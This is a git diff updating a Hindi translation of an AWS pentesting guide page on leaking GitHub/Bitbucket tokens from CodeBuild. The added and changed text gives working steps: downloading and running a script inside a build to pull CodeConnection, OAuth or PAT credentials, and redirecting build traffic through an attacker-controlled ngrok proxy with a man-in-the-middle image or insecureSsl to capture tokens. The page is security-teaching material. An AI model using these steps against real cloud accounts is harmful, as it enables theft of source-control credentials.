diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 77651c442..0bc9a599d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,47 +2,57 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Github/Bitbucket पर कॉन्फ़िगर किए गए Tokens पुनः प्राप्त करें
+## Github/Bitbucket में कॉन्फ़िगर किए गए Tokens पुनर्प्राप्त करें
सबसे पहले, जांचें कि क्या कोई source credentials कॉन्फ़िगर किए गए हैं जिन्हें आप leak कर सकते हैं:
```bash
aws codebuild list-source-credentials
```
-### Via Docker Image
+### CodeBuild Job में RCE के माध्यम से
-यदि आपको पता चले कि उदाहरण के लिए Github के लिए authentication खाते में सेट है, तो आप परियोजना के build को चलाने के लिए Codebuild को **use an specific docker image** करवा कर उस **access** (**GH token or OAuth token**) को **exfiltrate** कर सकते हैं।
+CodeBuild job के अंदर से, आप एक undocumented AWS CodeBuild API endpoint को हिट कर सकते हैं जो आपको CodeBuild द्वारा उपयोग किए जाने वाले credentials लौटा देगा। इसका उपयोग उन credentials को प्राप्त करने के लिए किया जा सकता है जिनके साथ CodeBuild job सेटअप किया गया था, उदाहरण के लिए AWS CodeConnection credentials, OAUTH या PAT credentials। CodeBuild job को इस endpoint को हिट करने के लिए privileged होने की आवश्यकता नहीं है और इसे logging और monitoring में पहचानना भी कठिन है क्योंकि CodeBuild खुद स्टार्टअप के दौरान कई बार इस endpoint को कॉल करता है।
-इस उद्देश्य के लिए आप **create a new Codebuild project** कर सकते हैं या किसी मौजूदा प्रोजेक्ट के **environment** को बदलकर **Docker image** सेट कर सकते हैं।
+इस तकनीक को और विस्तार से समझाया गया है [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) लेकिन सारांश यह है कि CodeBuild job के भीतर credentials प्राप्त करने के लिए आपको बस निम्नलिखित चलाना होगा:
+```
+python -m pip install botocore boto3 requests
+wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
+python ./GetBuildInfo.py
+```
+### Docker Image के माध्यम से
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). यह एक बहुत बुनियादी Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको उस host के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने की अनुमति देगा जो **`https_proxy`** और **`http_proxy`** में निर्दिष्ट है और **`SSL_CERT_FILE`** में दिए गए SSL CERT को ट्रस्ट करेगा।
+यदि आपको पता चलता है कि उदाहरण के लिए Github के लिए authentication खाते में सेट है, तो आप Codebuild को प्रोजेक्ट का build चलाने के लिए किसी विशिष्ट Docker image का उपयोग करने के लिए कहकर उस **exfiltrate** किए गए **access** (**GH token or OAuth token**) को exfiltrate कर सकते हैं।
+
+इसके लिए आप **नया Codebuild project बना सकते हैं** या मौजूदा के **environment** को बदलकर **Docker image** सेट कर सकते हैं।
+
+The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). यह एक बहुत ही basic Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको `https_proxy` और `http_proxy` में बताए गए host के अधिकांश ट्रैफ़िक को intercept करने और `SSL_CERT_FILE` में बताए गए SSL CERT पर भरोसा करने की अनुमति देगा।
1. **Create & Upload your own Docker MitM image**
-- repo के निर्देशों का पालन करके अपने proxy IP address और SSL cert सेट करें और **build the docker image**.
-- **DO NOT SET `http_proxy`** ताकि metadata endpoint के अनुरोधों को इंटरसेप्ट न किया जाए।
-- आप अपने host पर proxy सेट करने के लिए **`ngrok`** का उपयोग कर सकते हैं, जैसे `ngrok tcp 4444` lo set the proxy to your host
-- एक बार जब आपने Docker image बना लिया, तो **upload it to a public repo** (Dockerhub, ECR...)
+- repo के निर्देशों का पालन करके अपना proxy IP address सेट करें और अपना SSL cert सेट करके **build the docker image**।
+- मेटाडेटा endpoint के लिए requests को intercept न करने के लिए **DO NOT SET `http_proxy`**।
+- आप अपने host पर proxy सेट करने के लिए **`ngrok`** का उपयोग कर सकते हैं, उदाहरण: `ngrok tcp 4444`
+- एक बार जब आपने Docker image बना लिया, तो इसे किसी public repo (Dockerhub, ECR...) में **upload** करें।
2. **Set the environment**
-- एक **new Codebuild project** बनाएं या किसी मौजूदा परियोजना के environment को **modify** करें।
-- प्रोजेक्ट को use करने के लिए सेट करें **previously generated Docker image**
+- एक **नया Codebuild project बनाएं** या मौजूदा के environment को **modify** करें।
+- प्रोजेक्ट को सेट करें ताकि वह **previously generated Docker image** का उपयोग करे।
3. **Set the MitM proxy in your host**
-- जैसा कि **Github repo** में बताया गया है आप कुछ ऐसा उपयोग कर सकते हैं:
+- जैसा कि **Github repo** में बताया गया है, आप कुछ ऐसा उपयोग कर सकते हैं:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
-> **mitmproxy version used was 9.0.1**, रिपोर्ट किया गया था कि version 10 के साथ यह काम नहीं कर सकता।
+> इस्तेमाल की गई **mitmproxy version 9.0.1**, रिपोर्ट के अनुसार version 10 में यह काम नहीं कर सकता।
-4. **बिल्ड चलाएँ & credentials कैप्चर करें**
+4. **बिल्ड चलाएँ और credentials कैप्चर करें**
-- आप **Authorization** हेडर में token देख सकते हैं:
+- आप **Authorization** header में token देख सकते हैं:
-इसे aws cli से भी कुछ इस तरह किया जा सकता है
+यह aws cli से भी कुछ इस तरह किया जा सकता है:
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +81,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-### insecureSsl के जरिए
+### insecureSSL के माध्यम से
-**Codebuild** projects में एक सेटिंग होती है जिसका नाम **`insecureSsl`** है जो वेब में छिपी होती है और आप इसे केवल API से ही बदल सकते हैं.\
-इसे सक्षम करने पर, Codebuild प्लेटफ़ॉर्म द्वारा प्रदान किए गए रिपॉज़िटरी के **प्रमाणपत्र की जाँच किए बिना** कनेक्ट कर सकता है।
+**Codebuild** प्रोजेक्ट्स में एक सेटिंग होती है जिसका नाम **`insecureSsl`** है जो वेब इंटरफ़ेस में छिपी होती है, आप इसे केवल API से बदल सकते हैं.\
+इसे सक्षम करने पर, Codebuild प्लेटफ़ॉर्म द्वारा प्रदान किए गए प्रमाणपत्र **की जाँच किए बिना** रिपॉज़िटरी से कनेक्ट कर सकता है.
-- सबसे पहले आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह enumerate करना होगा:
+- सबसे पहले आपको वर्तमान कॉन्फ़िगरेशन को सूचीबद्ध करने की आवश्यकता है, कुछ इस तरह:
```bash
aws codebuild batch-get-projects --name
```
-- फिर, एकत्र की गई जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। नीचे मेरे द्वारा प्रोजेक्ट अपडेट करने का एक उदाहरण है, ध्यान दें अंत में **`insecureSsl=True`** (यह एकमात्र चीज़ है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलना है)।
-- इसके अलावा, अपने tcp ngrok की ओर इशारा करते हुए env वेरिएबल्स **http_proxy** और **https_proxy** भी जोड़ें, जैसे:
+- फिर, प्राप्त जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। नीचे मेरे द्वारा एक प्रोजेक्ट अपडेट करने का उदाहरण है, ध्यान दें कि अंत में **`insecureSsl=True`** है (यह वही एक चीज़ है जिसे आपको संग्रहित कॉन्फ़िगरेशन से बदलना है)।
+- इसके अलावा, env variables **http_proxy** और **https_proxy** भी जोड़ें जो आपके tcp ngrok की ओर इशारा करें, जैसे:
```bash
aws codebuild update-project --name \
--source '{
@@ -115,7 +125,7 @@ aws codebuild update-project --name \
]
}'
```
-- फिर, proxy variables (http_proxy and https_proxy) द्वारा संकेत किए गए पोर्ट पर [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बेसिक उदाहरण चलाएँ
+- फिर, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण उस port पर चलाएँ जिसे proxy variables (http_proxy और https_proxy) इंगित करते हैं।
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- अंत में, **Build the project** पर क्लिक करें, the **credentials** will be **sent in clear text** (base64) to the mitm port:
### ~~HTTP प्रोटोकॉल के माध्यम से~~
-> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
+> [!TIP] > **यह vulnerability 20 फरवरी 2023 के सप्ताह में किसी बिंदु पर AWS द्वारा corrected की गई थी (मुझे लगता है शुक्रवार)। इसलिए अब कोई attacker इसका abuse नहीं कर सकता :)**
-जिसके पास CodeBuild में **elevated permissions** हों, वह configured Github/Bitbucket token को leak कर सकता है, या अगर permissions OAuth के जरिए configure किए गए हों तो code तक पहुँचने के लिए उपयोग होने वाला **temporary OAuth token** भी leak हो सकता है।
+एक attacker जिसके पास किसी CodeBuild पर **elevated permissions** हों, configured Github/Bitbucket token को leak कर सकता है, या यदि permissions OAuth के माध्यम से configured थे, तो code तक पहुँचने के लिए उपयोग किए जाने वाले **temporary OAuth token** को leak कर सकता है।
-- एक attacker CodeBuild project में environment variables **http_proxy** और **https_proxy** जोड़ सकता है जो उसकी मशीन की ओर point करें (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
+- An attacker अपने machine की तरफ इशारा करते हुए CodeBuild project में environment variables **http_proxy** और **https_proxy** जोड़ सकता है (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
-- फिर, github repo का URL HTTPS की बजाय HTTP का उपयोग करने के लिए बदलें, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
-- फिर, proxy variables (http_proxy और https_proxy) द्वारा बताए गए पोर्ट पर [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से basic example चलाएँ।
+- फिर, github repo का URL HTTPS की बजाय HTTP उपयोग करने के लिए बदलें, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
+- फिर, proxy variables (http_proxy और https_proxy) द्वारा point किए गए पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से basic example चलाएँ
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,16 +168,16 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- इसके बाद, **Build the project** पर क्लिक करें या command line से build शुरू करें:
+- इसके बाद, **Build the project** पर क्लिक करें या कमांड लाइन से build शुरू करें:
```sh
aws codebuild start-build --project-name
```
-- अंत में, **credentials** **साफ़ टेक्स्ट में भेजे जाएंगे** (base64) mitm पोर्ट पर:
+- अंत में, ये **credentials** **clear text** (base64) में mitm port पर भेजे जाएंगे:
> [!WARNING]
-> अब एक हमलावर अपने मशीन से token का उपयोग कर सकेगा, उसके पास जो भी privileges हैं उन्हें सूचीबद्ध कर सकेगा और CodeBuild service का सीधे उपयोग करने की तुलना में उन्हें (ab)use करना आसान होगा।
+> अब attacker अपनी मशीन से token का उपयोग कर सकेगा, इसमें मौजूद सभी privileges को सूचीबद्ध कर सकेगा और सीधे CodeBuild सेवा का उपयोग करने की तुलना में इसे (ab)use करना आसान होगा।
## Untrusted PR execution via webhook filter misconfiguration